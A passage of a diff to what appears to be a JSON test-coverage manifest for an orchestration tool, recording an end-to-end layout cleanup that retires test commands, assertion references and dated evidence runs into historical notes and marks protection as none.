replacement identity cannot confirm report settlement", - "post-verification failure preserves the worker_done mutation identity for recovery" - ] - }, - { - "file": "src/cli/orchestration/messages/orchestration-check-identity.test.ts", - "assertions": ["an empty explicit --terminal is refused before reading a mailbox"] - }, - { - "file": "src/main/runtime/rpc/methods/orchestration/messaging/check.test.ts", - "assertions": [ - "Run delivery resolves through a stable coordinator pane after handle remint", - "a live handle cannot be retargeted by mismatched pane metadata" - ] - }, - { - "file": "src/main/runtime/rpc/methods/orchestration/messaging/send.test.ts", - "assertions": [ - "Dispatch delivery resolves through a stable worker pane after handle remint" - ] - }, - { - "file": "tests/e2e/orchestration-worker-terminal-visibility.spec.ts", - "assertions": [ - "worker-start exposes one inactive worker tab before workspace navigation", - "the coordinator tab remains active", - "ACK delivery reaches a stable coordinator pane through a stale handle", - "one spawn remains live with no interruption event", - "PTY/incarnation, tab, leaf, worktree, Task, and Dispatch identities remain stable", - "workspace re-entry does not duplicate the worker tab or print Conversation interrupted" - ] - }, - { - "file": "tests/e2e/orchestration-worker-settlement-release-cli.spec.ts", - "assertions": [ - "a compiled CLI worker_done with the wrong identity exits nonzero with ok=false", - "the exact Task and Dispatch remain dispatched after rejection", - "the correct worker identity receives an explicit completed lifecycle verdict", - "an independent runtime read observes the Dispatch completed" - ] - } - ], - "evidenceRuns": [ - { - "date": "2026-08-12", - "runner": "local", - "platform": "macos", - "command": "pnpm run build:cli && SKIP_BUILD=1 pnpm exec playwright test tests/e2e/orchestration-worker-settlement-release-cli.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1", - "result": "passed", - "durationSeconds": 20, - "summary": "The combined candidate passed one real Electron and compiled-CLI journey: wrong worker identity exited nonzero with ok=false while Dispatch stayed dispatched, the exact worker received an explicit completed verdict, and runtime state independently reached completed." - } - ], + "oracle": "No current executed protection is claimed after E2E layout cleanup. Historical account: Runtime layout cleanup intentionally retires the removed compatibility callbacks and wholly removed fragments without replacement coverage. The compatibility entrypoint retains only its surviving registration scope. Existing independent dated receipts remain at their original commands and scopes; no fresh runtime, native, remote or platform execution is claimed. Prior account preserved verbatim: Audit5916 removes the entire local-worktree-creation-part-02.spec import from the retained runtime driver, intentionally losing the mocked exact-name create refusal when a selected PR matches a remote branch. The sole zero-auth terminal-handle registrar for another deleted suite is also retired, with no authored credit. Driver selectors retain only their narrowed import scope. Unchanged dated independent receipts are not equivalent replacement or fresh whole-gate validation. Complete prior account retained verbatim: Audit5912 deletes the complete federation acknowledgment migration suite. Its invented v26-schema default, migration-start and imported-cursor alarms are intentionally lost. The sole migration command, testFiles and assertionRef are retired. No equivalent replacement or fresh whole-gate pass is claimed. Complete prior oracle retained verbatim: Audit5896 removes only the paired-settings.spec and dispatch-mailbox-delivery.spec import lines from their retained runtime/mailbox drivers. Those imported suites and alarms are intentionally retired, without equivalent replacement. Driver selectors remain; unchanged dated receipts retain original scope and do not establish a new whole-gate import-closure pass. Complete prior account retained verbatim: Audit4362 intentionally deletes the imported stale-waiter retry and manually assembled OSC9999 mobile-republish cases, plus the mocked missing-worktree cleanup suite (4 authored / 5 finite cases in three suites). Lost alarms include repeated unread worker_done pointers, working-to-waiting mobile status publication, missing-worktree filtering, and scoped daemon shutdown with unrelated duplicate identities. No replacement coverage or new platform proof is claimed. Audit3832 deliberately retires76 authored/79 finite cases:75 runtime compatibility cases/78 finite cases across14 fragments, plus one localization extractor default-flag case. Three whole runtime fragments are deleted;27 authored/30 finite cases remain across the reviewed sources. This gate retains only its own selected scope; no equivalent replacement or fresh runtime/native/remote evidence is claimed. Runtime component A: Audit3828 composes3822 with independent3824: deliberately retires49 authored/52 finite cases from seven compatibility fragments, leaving15 authored/18 finite cases and deleting two entire fragments. Accepted losses: positive folder-worker recovery/materialization and reveal deadline; persisted-key normalization and legacy split/group/focus projection; fixed stale CAS refusal; occupied/alias/restored/preallocated terminal-handle variants; fixed OpenCode/Cursor/Claude/Codex/Antigravity classification, readiness, title and management examples; direct private-map browser authority projections; browser-focus and OMP title projection; already-aborted claim cleanup. Additional3824 loss: src/main/runtime/orca-runtime-tests/terminal-handles-and-agent-status-part-02.spec.ts :: does not poll a wrapper foreground for a speculative CLI prompt send :: Speculative retryForegroundWrappers:false check must return false on a wrapper after one foreground read, without polling the supplied later codex response. These real bounded alarms are deliberately retired for low marginal value. Retained callbacks are unchanged and provide only their own bounded scope, not equivalent replacement. Historical receipts do not validate reduced callbacks. No fresh runtime/native/SSH/WSL/phone/browser evidence or full transitive closure is claimed. Runtime component B: Audit3834 deliberately retires26 authored/26 finite cases from seven fresh compatibility fragments, leaving10/10 and deleting the one-case saved-binding reattachment fragment. Original position58 is excluded: its existing substantive3578 KEEP7 review remains historical, with no fresh credit. Accepted losses: fixed hook/provider-session identities and stale metadata refusal; decorative/pre-title foreground ordering variants; saved-binding surface reattachment; saved-row exit ghost removal and silent activation selection; unsupported headless wake; positive pending materialization/group projections; per-caller navigation selection; positive SSH hydration/read partition; laptop mobile publication/buffer and background/pending/status projections; abnormal/unregistered SSH grace, normal-exit refusal, persisted SSH hydration, positive serve reattachment, pending-agent launch arguments and direct seeded running-launch admission guard. These are real bounded alarms deliberately retired for low marginal value. Retained cases preserve their own distinct deferred foreground coalescing, usable handle continuity, stale inventory refresh, concurrent browser snapshot preservation, renderer graph fencing, caller dedup isolation, SSH partition writes, runtime split lifetime, independent relay-ready publication, lease admission/state/expiry. The direct running-launch no-spawn guard alarm is deliberately retired; no remaining owning-launch refusal coverage is claimed. Historical runs do not validate reduced callbacks. No equivalent replacement, runtime/native/SSH/WSL/phone/browser result or full transitive closure is claimed. Additional extractor loss: config/scripts/localization/source-extraction/audit-localization-native-dialogs.test.mjs :: does not change the existing renderer scan by default :: Default options must omit the five native-only fields in this supplied snippet. No equivalent replacement is claimed. Historical prior account (preserved verbatim): Audit3814 deliberately retires60 authored/60 finite cases:53runtime compatibility cases,4native XCTest methods and3Python clipboard methods, including the entire StableElementIndexes suite. Clipboard cuts retire the one-over-cap sample, incoming-offer destruction trace and sequential20-copy replay; actual wire, FD/pipe, startup and Xvfb/GTK boundaries remain without equivalent replacement claims. Accepted losses include narrow terminal-send payload/provider projections, legacy and direct no-op/error permutations, timing/work-count examples, private state/title/activity projections and fixture-driven readiness examples, individually enumerated below. These include real bounded production alarms consciously retired for marginal value; retained failed writes, duplicate submission, stale capture, transcript/ring and allocation fences are not equivalent replacements. No fresh native/remote/browser execution or complete transitive closure is claimed. Earlier dated receipts and raw selectors remain historical accounts of prior callback sets. Audit3806 deliberately retires40 authored/40 finite runtime compatibility cases, including the terminal-side-effect-facts-part03 headless-snapshots-part02 and agent-status-and-waits-part03 fragments, plus20 scalar Swift precondition sites. Lost runtime alarms include status/title/attention projection examples, simple renderer/headless frame restoration and status waiting outcomes detailed in the accepted-loss ledger. Swift cuts retire duplicate generation-map/schema/navigation/bridge and notification-wrapper assertions; no standalone native program is deleted. These include real bounded production alarms consciously retired for marginal value. Retained races, pending writes/reflow, namespace and waiter ownership are not equivalent replacements. No fresh native/remote/browser execution or full transitive closure is claimed. Earlier dated receipts and raw selectors remain historical accounts of prior callback sets. Audit3798 deliberately retires21 authored/24 finite compatibility cases, including the entire SSH-worktree-lifecycle and repository-project-operations fragments. Accepted losses include navigation-only settings acknowledgement, browser session cleanup and host preservation projections, window positive/policy-state examples, terminal recovery/reload and no-incarnation remint examples, terminal listing compatibility/malformed IDs, directory browse/sort/Windows path smoke, SSH create refusal/manual lineage, recursive parent-folder creation and fork/origin/avatar/icon projections. Real bounded production alarms are consciously retired for marginal value; retained authority races, cleanup/clone ownership, pending waiters, nested-folder and scan invalidation cases are not equivalent replacements. No fresh native/remote/browser execution or full transitive closure is claimed. Earlier dated receipts and raw selectors remain historical accounts of prior callback sets. Audit3429 composes root-adopted3426/independent3427: intentionally removes168 authored/205 potential expanded cases across16 semantic sources, deleting11 whole suites and one304line unused assertion helper. Five authored/five potential cases remain; the duplicate500k graph row is dropped while its50k row and callback remain. No equivalent replacement or fresh execution is claimed. The complete federation-lifecycle-settlement suite is removed, losing its fake remote settlement/protocol/acknowledgment examples. Its exact standalone command, testFiles entry and complete assertionRef are retired and prior fields archived. Existing receipts select unrelated migration and compiled CLI journeys and retain original scopes. Audit3403 composes root-adopted3393/3394,3400/3401 and3398/3399: intentionally retires167 authored registrations/196 potential expanded cases across93 whole suites without equivalent replacement or fresh execution. Retained65 registrations/79 potential cases include one conditional missing-input failure sentinel; potential counts are not executions. Historical notes and complete dated receipts retain their exact original scopes. The retained runtime registration driver loses three complete imported fragments: changed-working-label title facts and suppressed-frame tracked snapshots; refusing SSH GitLab MR-base lookup before local Git/glab calls; and missing folder-workspace path creation/update refusal before spawn/store mutation. These alarms are intentionally lost. Other imported fragments and separately rooted dated receipts are unchanged; they are not equivalent replacement coverage. Audit3390 composes root-adopted3382/independent3383 and3386/independent3387 and3388/independent3389: intentionally retires216 authored registrations/230 expanded cases in42 whole authored suites plus5 zero-case registration drivers, without equivalent replacement. Lost local alarms include fake PTY identity/routing/startup/replay/mode/title/mouse/IME/scroll matrices, broad startup identity and file-open wiring, mock mailbox title recovery, mobile row parity and whole-v-selective save parity. Retained24 registrations/26 expanded cases in22 suites preserve actual xterm Windows buffer/wrap/scroll, typed TOML scalar, real Promise cancellation/settlement, HTTP Codex scanner/projector semantics, durable recovery admission/newer-schema bytes, federation completion/ACK/SQLite atomicity and failed stale-run-write versus imported durable history. Additional retained clock-domain scheduling, durable freeze/ACK/checkpoint ordering, ABA dirty intent, SQL atomicity, folder-domain retier/last-note deletion, scrollback durable no-sync staging, PanelBridge subscriber lifetime and reserved-send publication preserve narrower concrete behaviors. Current finite owner drift assessed in bounded defining bodies; retained callback bytes unchanged. Historical notes and complete dated receipts keep their original exact scopes. No new execution, equivalent replacement, native focus/device/pixel, live remote or global mixed-version guarantee is claimed. Audit2923 accepts loss of the first/replayed attested legacy worker_done CLI acceptance alarms, including exact send parameters, sender pane proof, lifecycle-wait flag and minted mutation identity. The removed fixture supplied settled runtime verdicts; it did not execute settlement authority, durable replay or outage recovery. Reduced selectors have no new execution, fault-control or equivalent replacement credit. Audit2133 current-parent preparation: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Audit2095 current-parent preparation2126: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Audit2090 (sources2088/2089): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Retained assertion references and unchanged receipts keep their original scopes; retired callbacks and archived receipts provide no current coverage.", + "commands": [], + "testFiles": [], + "assertionRefs": [], + "evidenceRuns": [], "runtimeBudget": { "p95Seconds": 75, - "scope": "Historical measurement only for changed selectors; no new reduced-source runtime budget is measured." + "scope": "Historical prior-selector budget; changed E2E selectors have no new runtime measurement. Historical measurement only for changed selectors; no new reduced-source runtime budget is measured." }, "flakeHistory": { - "status": "unknown", - "evidence": "NEXT136 retired affected callbacks or receipts. No fresh soak result validates reduced sources; retained receipts apply only to their unchanged commands." + "status": "not-started", + "evidence": "No fresh soak for changed E2E selectors. Historical account: NEXT136 retired affected callbacks or receipts. No fresh soak result validates reduced sources; retained receipts apply only to their unchanged commands." }, "redGreenEvidence": { "status": "missing", - "evidence": "Audit2133 current-parent preparation: Changed test bytes/selectors have no fresh red/green validation. Unrelated retained-source historical evidence keeps its original scope. Audit2095 current-parent preparation2126: Changed test bytes/selectors have no fresh red/green validation. Unrelated retained-source historical evidence keeps its original scope. NEXT136 retired affected callback/receipt scope. No fresh red/green validation of the reduced selectors is claimed." + "evidence": "No fresh red/green execution for changed E2E selectors. Historical account: Audit2133 current-parent preparation: Changed test bytes/selectors have no fresh red/green validation. Unrelated retained-source historical evidence keeps its original scope. Audit2095 current-parent preparation2126: Changed test bytes/selectors have no fresh red/green validation. Unrelated retained-source historical evidence keeps its original scope. NEXT136 retired affected callback/receipt scope. No fresh red/green validation of the reduced selectors is claimed." }, "performanceBudget": { "required": true, - "evidence": "No fresh changed-source performance measurement is claimed. Unchanged retained receipts keep only their original scope." + "evidence": "Historical prior-selector account; changed E2E selectors have no new performance measurement. No fresh changed-source performance measurement is claimed. Unchanged retained receipts keep only their original scope." }, "promotionCriteria": [ "Collect 100 consecutive passes or 14 days of stable CI history on macOS, Linux, and Windows.", @@ -10129,7 +8968,11 @@ "Audit5896 removes only the paired-settings.spec and dispatch-mailbox-delivery.spec import lines from their retained runtime/mailbox drivers. Those imported suites and alarms are intentionally retired, without equivalent replacement. Driver selectors remain; unchanged dated receipts retain original scope and do not establish a new whole-gate import-closure pass. ", "Audit5901 removes only the mobile-creation-and-orchestration-part-03.spec import from the retained runtime driver. The fragment's missing-handle wait abort and waiter retirement on reload-exit alarms are intentionally lost. This is a conservative import-closure notice: named command filters may exclude those cases. Driver selectors remain; unchanged historical receipts retain their original scope and establish no fresh whole-gate pass or equivalent replacement. ", "Audit5912 deletes the complete federation acknowledgment migration suite. Its invented v26-schema default, migration-start and imported-cursor alarms are intentionally lost. The sole migration command, testFiles and assertionRef are retired. No equivalent replacement or fresh whole-gate pass is claimed. Retired complete dated evidenceRuns (historical only): [{\"date\":\"2026-08-12\",\"runner\":\"local\",\"platform\":\"macos\",\"command\":\"pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/orchestration/federation-acknowledgment-migration.test.ts --reporter=dot\",\"result\":\"passed\",\"durationSeconds\":0.47,\"summary\":\"A complete v26 database resolved migration start at v26, upgraded to v27, retained its imported cursor, and initialized the durable acknowledgment watermark to zero.\",\"currentCommand\":\"pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/orchestration/db/federation/federation-acknowledgment-migration.test.ts --reporter=dot\"}]", - "Audit5916 removes the entire local-worktree-creation-part-02.spec import from the retained runtime driver, intentionally losing the mocked exact-name create refusal when a selected PR matches a remote branch. The sole zero-auth terminal-handle registrar for another deleted suite is also retired, with no authored credit. Driver selectors retain only their narrowed import scope. Unchanged dated independent receipts are not equivalent replacement or fresh whole-gate validation. " + "Audit5916 removes the entire local-worktree-creation-part-02.spec import from the retained runtime driver, intentionally losing the mocked exact-name create refusal when a selected PR matches a remote branch. The sole zero-auth terminal-handle registrar for another deleted suite is also retired, with no authored credit. Driver selectors retain only their narrowed import scope. Unchanged dated independent receipts are not equivalent replacement or fresh whole-gate validation. ", + "E2E layout cleanup retires this complete historical receipt because its exact selector or source changed; it is not current validation. Original receipt verbatim:\n{\n \"date\": \"2026-08-12\",\n \"runner\": \"local\",\n \"platform\": \"macos\",\n \"command\": \"pnpm run build:cli && SKIP_BUILD=1 pnpm exec playwright test tests/e2e/orchestration-worker-settlement-release-cli.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1\",\n \"result\": \"passed\",\n \"durationSeconds\": 20,\n \"summary\": \"The combined candidate passed one real Electron and compiled-CLI journey: wrong worker identity exited nonzero with ok=false while Dispatch stayed dispatched, the exact worker received an explicit completed verdict, and runtime state independently reached completed.\"\n }", + "E2E layout cleanup: original active selector metadata is historical, not current validation:\ncommands: [\n \"ORCA_BACKGROUND_LAUNCH=1 npx vitest run --config config/vitest.config.ts src/main/runtime/rpc/methods/orchestration/messaging/check-worker-federated-attachment.test.ts\",\n \"pnpm exec vitest run --config config/vitest.config.ts src/cli/orchestration/orchestration.test.ts src/cli/orchestration/messages/orchestration-check-identity.test.ts src/main/runtime/rpc/methods/orchestration/worker/start/worker-start-composition.test.ts src/main/runtime/rpc/methods/orchestration/messaging/check.test.ts src/main/runtime/rpc/methods/orchestration/messaging/send.test.ts\",\n \"pnpm exec vitest run --config config/vitest.config.ts src/cli/orchestration/recovery/orchestration-lifecycle-rejection.test.ts\",\n \"pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/rpc/methods/orchestration/federation/federation.test.ts\",\n \"pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/construction/orca-runtime.test.ts\",\n \"pnpm run test:e2e -- tests/e2e/orchestration-worker-terminal-visibility.spec.ts --workers=1\",\n \"pnpm run build:cli && SKIP_BUILD=1 pnpm exec playwright test tests/e2e/orchestration-worker-settlement-release-cli.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1\"\n ]\ntestFiles: [\n \"src/main/runtime/rpc/methods/orchestration/messaging/check-worker-federated-attachment.test.ts\",\n \"src/main/runtime/construction/orca-runtime.test.ts\",\n \"src/cli/orchestration/orchestration.test.ts\",\n \"src/cli/orchestration/recovery/orchestration-lifecycle-rejection.test.ts\",\n \"src/cli/orchestration/messages/orchestration-check-identity.test.ts\",\n \"src/main/runtime/rpc/methods/orchestration/worker/start/worker-start-composition.test.ts\",\n \"src/main/runtime/rpc/methods/orchestration/messaging/check.test.ts\",\n \"src/main/runtime/rpc/methods/orchestration/messaging/send.test.ts\",\n \"src/main/runtime/rpc/methods/orchestration/federation/federation.test.ts\",\n \"tests/e2e/orchestration-worker-terminal-visibility.spec.ts\",\n \"tests/e2e/orchestration-worker-settlement-release-cli.spec.ts\"\n ]\nassertionRefs: [\n {\n \"file\": \"src/main/runtime/rpc/methods/orchestration/messaging/check-worker-federated-attachment.test.ts\",\n \"assertions\": [\n \"replays the coordinator instruction and takes its ack after the app restarts\",\n \"files loopback mail once under the local Dispatch Run without replacing its owner\"\n ]\n },\n {\n \"file\": \"src/cli/orchestration/recovery/orchestration-lifecycle-rejection.test.ts\",\n \"assertions\": [\n \"a worker_done response without a lifecycle verdict fails closed when authoritative Dispatch and report state cannot confirm settlement\",\n \"a terminal Dispatch with a replacement identity cannot confirm report settlement\",\n \"post-verification failure preserves the worker_done mutation identity for recovery\"\n ]\n },\n {\n \"file\": \"src/cli/orchestration/messages/orchestration-check-identity.test.ts\",\n \"assertions\": [\"an empty explicit --terminal is refused before reading a mailbox\"]\n },\n {\n \"file\": \"src/main/runtime/rpc/methods/orchestration/messaging/check.test.ts\",\n \"assertions\": [\n \"Run delivery resolves through a stable coordinator pane after handle remint\",\n \"a live handle cannot be retargeted by mismatched pane metadata\"\n ]\n },\n {\n \"file\": \"src/main/runtime/rpc/methods/orchestration/messaging/send.test.ts\",\n \"assertions\": [\n \"Dispatch delivery resolves through a stable worker pane after handle remint\"\n ]\n },\n {\n \"file\": \"tests/e2e/orchestration-worker-terminal-visibility.spec.ts\",\n \"assertions\": [\n \"worker-start exposes one inactive worker tab before workspace navigation\",\n \"the coordinator tab remains active\",\n \"ACK delivery reaches a stable coordinator pane through a stale handle\",\n \"one spawn remains live with no interruption event\",\n \"PTY/incarnation, tab, leaf, worktree, Task, and Dispatch identities remain stable\",\n \"workspace re-entry does not duplicate the worker tab or print Conversation interrupted\"\n ]\n },\n {\n \"file\": \"tests/e2e/orchestration-worker-settlement-release-cli.spec.ts\",\n \"assertions\": [\n \"a compiled CLI worker_done with the wrong identity exits nonzero with ok=false\",\n \"the exact Task and Dispatch remain dispatched after rejection\",\n \"the correct worker identity receives an explicit completed lifecycle verdict\",\n \"an independent runtime read observes the Dispatch completed\"\n ]\n }\n ]", + "E2E layout cleanup intentionally removes whole CUT registrations without assertion salvage or equivalent replacement. Surviving remapped selectors are unexecuted future work at the future serial parent (actual parent null): {\"commands\":[\"ORCA_BACKGROUND_LAUNCH=1 npx vitest run --config config/vitest.config.ts src/main/runtime/rpc/methods/orchestration/messaging/check-worker-federated-attachment.test.ts\",\"pnpm exec vitest run --config config/vitest.config.ts src/cli/orchestration/orchestration.test.ts src/cli/orchestration/messages/orchestration-check-identity.test.ts src/main/runtime/rpc/methods/orchestration/worker/start/worker-start-composition.test.ts src/main/runtime/rpc/methods/orchestration/messaging/check.test.ts src/main/runtime/rpc/methods/orchestration/messaging/send.test.ts\",\"pnpm exec vitest run --config config/vitest.config.ts src/cli/orchestration/recovery/orchestration-lifecycle-rejection.test.ts\",\"pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/rpc/methods/orchestration/federation/federation.test.ts\",\"pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/construction/orca-runtime.test.ts\"],\"testFiles\":[\"src/main/runtime/rpc/methods/orchestration/messaging/check-worker-federated-attachment.test.ts\",\"src/main/runtime/construction/orca-runtime.test.ts\",\"src/cli/orchestration/orchestration.test.ts\",\"src/cli/orchestration/recovery/orchestration-lifecycle-rejection.test.ts\",\"src/cli/orchestration/messages/orchestration-check-identity.test.ts\",\"src/main/runtime/rpc/methods/orchestration/worker/start/worker-start-composition.test.ts\",\"src/main/runtime/rpc/methods/orchestration/messaging/check.test.ts\",\"src/main/runtime/rpc/methods/orchestration/messaging/send.test.ts\",\"src/main/runtime/rpc/methods/orchestration/federation/federation.test.ts\"],\"assertionRefs\":[{\"file\":\"src/main/runtime/rpc/methods/orchestration/messaging/check-worker-federated-attachment.test.ts\",\"assertions\":[\"replays the coordinator instruction and takes its ack after the app restarts\",\"files loopback mail once under the local Dispatch Run without replacing its owner\"]},{\"file\":\"src/cli/orchestration/recovery/orchestration-lifecycle-rejection.test.ts\",\"assertions\":[\"a worker_done response without a lifecycle verdict fails closed when authoritative Dispatch and report state cannot confirm settlement\",\"a terminal Dispatch with a replacement identity cannot confirm report settlement\",\"post-verification failure preserves the worker_done mutation identity for recovery\"]},{\"file\":\"src/cli/orchestration/messages/orchestration-check-identity.test.ts\",\"assertions\":[\"an empty explicit --terminal is refused before reading a mailbox\"]},{\"file\":\"src/main/runtime/rpc/methods/orchestration/messaging/check.test.ts\",\"assertions\":[\"Run delivery resolves through a stable coordinator pane after handle remint\",\"a live handle cannot be retargeted by mismatched pane metadata\"]},{\"file\":\"src/main/runtime/rpc/methods/orchestration/messaging/send.test.ts\",\"assertions\":[\"Dispatch delivery resolves through a stable worker pane after handle remint\"]}]}", + "Historical declared scope before this cleanup: {\"protection\":\"partial\",\"coveredPlatforms\":[\"macos\"],\"coveredProviders\":[],\"redGreenEvidence\":{\"status\":\"missing\",\"evidence\":\"Audit2133 current-parent preparation: Changed test bytes/selectors have no fresh red/green validation. Unrelated retained-source historical evidence keeps its original scope. Audit2095 current-parent preparation2126: Changed test bytes/selectors have no fresh red/green validation. Unrelated retained-source historical evidence keeps its original scope. NEXT136 retired affected callback/receipt scope. No fresh red/green validation of the reduced selectors is claimed.\"},\"flakeHistory\":{\"status\":\"unknown\",\"evidence\":\"NEXT136 retired affected callbacks or receipts. No fresh soak result validates reduced sources; retained receipts apply only to their unchanged commands.\"},\"runtimeBudget\":{\"p95Seconds\":75,\"scope\":\"Historical measurement only for changed selectors; no new reduced-source runtime budget is measured.\"},\"performanceBudget\":{\"required\":true,\"evidence\":\"No fresh changed-source performance measurement is claimed. Unchanged retained receipts keep only their original scope.\"}}" ], "demotionRule": "Keep experimental or demote if either Electron journey flakes without a product or harness defect, if local worker-start can return before tab materialization without an explicit reveal warning, if focus moves to the worker, if restart or workspace re-entry spawns/resumes/duplicates/interferes with the worker, if retained output becomes unreadable, or if pane-stable delivery reads the wrong mailbox." }, @@ -10137,7 +8980,7 @@ "id": "orchestration.context-only-dispatch-release", "title": "Manual Dispatch release fences assignments without stopping unsupervised terminals", "maturity": "experimental", - "protection": "partial", + "protection": "none", "owner": "orchestration", "layer": "cli-runtime-sqlite-terminal-lifecycle", "surfaces": [ @@ -10149,82 +8992,34 @@ ], "platforms": ["macos", "linux", "windows"], "providers": ["local", "daemon", "ssh", "wsl", "remote-runtime"], - "coveredPlatforms": ["macos"], - "coveredProviders": ["local"], - "coverageNotes": "Audit3678 current-source reassessment removes20 authored/24 finite root-unit cases across7 retained test sources; all10 selected current drivers80 authored/93 finite were read, leaving60 authored/69 finite unchanged. Removed alarms are the in-memory WAL PRAGMA constant, ordinary latest-dispatch/gate-creation inventories, self-reported-failure and explicit-terminal retry policy rows, SSH/unsupported-provider output fallback labels, legacy typing no-op/retain-before-report/manual scheduling rows, exited output status and copied resume-session metadata, incomplete inventory deferral/reset cascade inventory, and nominal release/active-state/corrupt external history/stopped-abandoned outcome/generic close-exception rows. These are intentional coverage losses, not replaced alarms. Retained source includes actual SQLite rollback/custody, mutable transcript/deletion and saved-copy compatibility, cursor mutation, clear lineage, auto-release timing/restart/admission and concurrent recovery seams. Historical KEEP decisions are consciously superseded where stated in decisions.json. Source-only evidence; no runtime, CI, native, provider, remote, mobile/folder or global completion credit. Previous account (preserved verbatim): NEXT136 retains only unchanged execution receipts at their original scopes. Reduced-source selectors and retained static assertions have no new execution or equivalent replacement credit.", + "coveredPlatforms": [], + "coveredProviders": [], + "coverageNotes": "No current executed protection is claimed after E2E layout cleanup. Historical account: Audit3678 current-source reassessment removes20 authored/24 finite root-unit cases across7 retained test sources; all10 selected current drivers80 authored/93 finite were read, leaving60 authored/69 finite unchanged. Removed alarms are the in-memory WAL PRAGMA constant, ordinary latest-dispatch/gate-creation inventories, self-reported-failure and explicit-terminal retry policy rows, SSH/unsupported-provider output fallback labels, legacy typing no-op/retain-before-report/manual scheduling rows, exited output status and copied resume-session metadata, incomplete inventory deferral/reset cascade inventory, and nominal release/active-state/corrupt external history/stopped-abandoned outcome/generic close-exception rows. These are intentional coverage losses, not replaced alarms. Retained source includes actual SQLite rollback/custody, mutable transcript/deletion and saved-copy compatibility, cursor mutation, clear lineage, auto-release timing/restart/admission and concurrent recovery seams. Historical KEEP decisions are consciously superseded where stated in decisions.json. Source-only evidence; no runtime, CI, native, provider, remote, mobile/folder or global completion credit. Previous account (preserved verbatim): NEXT136 retains only unchanged execution receipts at their original scopes. Reduced-source selectors and retained static assertions have no new execution or equivalent replacement credit.", "motivatingLinks": [ "https://github.com/stablyai/orca/issues/13005", "https://github.com/stablyai/orca/pull/13250" ], "invariant": "A live Dispatch created by orchestration dispatch can be stopped or abandoned even though it has no supervised worker row. Release must durably record the requested outcome, revoke lifecycle authority, close questions, free the exact assignee identity, and block only the Task whose current Dispatch was released. It must never close the unsupervised terminal process, disturb unrelated or supervised workers, or let a repeat or opposite verb rewrite the persisted outcome.", - "oracle": "Audit3678 current-source reassessment removes20 authored/24 finite root-unit cases across7 retained test sources; all10 selected current drivers80 authored/93 finite were read, leaving60 authored/69 finite unchanged. Removed alarms are the in-memory WAL PRAGMA constant, ordinary latest-dispatch/gate-creation inventories, self-reported-failure and explicit-terminal retry policy rows, SSH/unsupported-provider output fallback labels, legacy typing no-op/retain-before-report/manual scheduling rows, exited output status and copied resume-session metadata, incomplete inventory deferral/reset cascade inventory, and nominal release/active-state/corrupt external history/stopped-abandoned outcome/generic close-exception rows. These are intentional coverage losses, not replaced alarms. Retained source includes actual SQLite rollback/custody, mutable transcript/deletion and saved-copy compatibility, cursor mutation, clear lineage, auto-release timing/restart/admission and concurrent recovery seams. Historical KEEP decisions are consciously superseded where stated in decisions.json. Source-only evidence; no runtime, CI, native, provider, remote, mobile/folder or global completion credit. Previous oracle (preserved verbatim): Retained assertion references and unchanged receipts keep their original scopes; retired callbacks and archived receipts provide no current coverage.", - "commands": [ - "pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/rpc/methods/orchestration/worker/stop/manual-dispatch-release.test.ts src/main/runtime/orchestration/db/worker-dispatch/orchestration-worker-dispatch-db.test.ts src/main/runtime/rpc/methods/orchestration/worker/observation/worker-lifecycle-recovery.test.ts src/main/runtime/rpc/methods/orchestration/worker/release/worker-release.test.ts --reporter=dot", - "pnpm run ensure:electron-runtime && pnpm exec playwright test tests/e2e/orchestration-low-level-dispatch-release.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1", - "SKIP_BUILD=1 pnpm exec playwright test tests/e2e/orchestration-low-level-dispatch-release.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1" - ], - "testFiles": [ - "src/main/runtime/rpc/methods/orchestration/worker/stop/manual-dispatch-release.test.ts", - "src/main/runtime/orchestration/db/worker-dispatch/orchestration-worker-dispatch-db.test.ts", - "src/main/runtime/rpc/methods/orchestration/worker/observation/worker-lifecycle-recovery.test.ts", - "src/main/runtime/rpc/methods/orchestration/worker/release/worker-release.test.ts", - "tests/e2e/orchestration-low-level-dispatch-release.spec.ts" - ], - "assertionRefs": [ - { - "file": "src/main/runtime/rpc/methods/orchestration/worker/stop/manual-dispatch-release.test.ts", - "assertions": [ - "worker-abandon and worker-stop durably release context-only Dispatches without closing terminals", - "repeat and cross-verb calls preserve the first stored outcome", - "superseded release frees only the old identity and leaves the current Task Dispatch active", - "unrelated and supervised workers remain unchanged" - ] - }, - { - "file": "tests/e2e/orchestration-low-level-dispatch-release.spec.ts", - "assertions": [ - "dispatch-show returns the live manual Dispatch before release", - "abandon and stop record distinct durable outcomes", - "the exact PTY and incarnation survive worker-stop", - "the same pane accepts a third Dispatch after both releases" - ] - } - ], - "evidenceRuns": [ - { - "date": "2026-08-09", - "runner": "local", - "platform": "macos", - "command": "SKIP_BUILD=1 pnpm exec playwright test tests/e2e/orchestration-low-level-dispatch-release.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1", - "result": "failed", - "durationSeconds": 4.3, - "summary": "Current main 2dc172f666 reproduced issue #13005: dispatch-show returned the live id, then worker-abandon failed with dispatch_not_found before any release or pane reuse could occur." - }, - { - "date": "2026-08-09", - "runner": "local", - "platform": "macos", - "command": "SKIP_BUILD=1 pnpm exec playwright test tests/e2e/orchestration-low-level-dispatch-release.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1", - "result": "passed", - "durationSeconds": 4.1, - "summary": "The isolated Electron journey passed both release verbs, preserved the exact pane PTY/incarnation, and dispatched a third Task to the same terminal." - } - ], + "oracle": "No current executed protection is claimed after E2E layout cleanup. Historical account: Audit3678 current-source reassessment removes20 authored/24 finite root-unit cases across7 retained test sources; all10 selected current drivers80 authored/93 finite were read, leaving60 authored/69 finite unchanged. Removed alarms are the in-memory WAL PRAGMA constant, ordinary latest-dispatch/gate-creation inventories, 